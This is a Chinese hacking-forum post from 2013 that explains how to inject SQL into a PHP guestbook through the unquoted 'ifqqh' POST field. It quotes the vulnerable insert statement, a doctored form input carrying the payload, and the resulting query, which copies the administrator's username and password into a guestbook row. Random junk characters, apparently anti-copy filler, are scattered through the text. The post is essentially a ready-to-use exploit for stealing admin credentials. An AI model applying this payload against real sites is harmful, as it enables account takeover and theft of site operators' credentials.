找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1792|回复: 0
打印 上一主题 下一主题

php留言本注入得帐号密码

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-19 08:10:11 | 显示全部楼层 回帖奖励 |倒序浏览 |阅读模式
留言本注入。拿到帐号密码。前提知道程序源代码。在insert里面。构造了另外一句SQL。并且把帐号密码读出来。9 x6 z& j( S, J% k

# k1 p" w8 m4 I$ifqqh=$_POST["ifqqh"];没有过滤。。。。。。。
& p' [3 E+ O! b+ L  U* }2 r$sql=”insert into “.TABLE_PREFIX.”guestbook(username,email,content,userip,systime,ifshow,ifqqh)values(‘”.$username.”‘,’”.$email.”‘,’”.$content.”‘,’”.$userip.”‘,’”.$systime.”‘,”.$ifshow.”,”.$ifqqh.”)”;$ifqqh没有用 ‘ 来包含。不受magic_quotes_gpc影响( v. d5 N* X( N; z' P

7 r, I4 N$ K% }* u3 U. }: F8 Q提交的时候把ifqqh的值改一下。变成  n/ x/ ^0 W4 i

1 p9 y9 `1 u0 `1 `( @<input type=”text” id=”ifqqh” name=”ifqqh” value=”1),(1,1,(SELECT concat(admin_user,0x2f,admin_pass) FROM cf_gbconfig),1,1,1,0″ />
2 V& E3 ]! }& b! B2 C
  o1 }& s% x5 X* _这样SQL插入语句就变了.& [+ k& l7 t, U9 N& O

, a8 l4 N! w) z' Z6 u# i8 C4 Pinsert into cf_guestbook(username,email,content,userip,systime,ifshow,ifqqh)values(‘qqq’,”,’msgmsg’,’127.0.0.1′,’2012-12-22 19:07:23′,1,1),(1,1,(SELECT concat(admin_user,0x2f,admin_pass) FROM cf_gbconfig),1,now(),1,0)7 P" L3 O) [9 }

! Z* |( o  j# l* q, D3 N构造了另外一句SQL。并且把帐号密码读出来。
( V0 L  A2 H5 p! F6 D6 f1 t! I7 ?, }5 E6 E6 i5 y
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表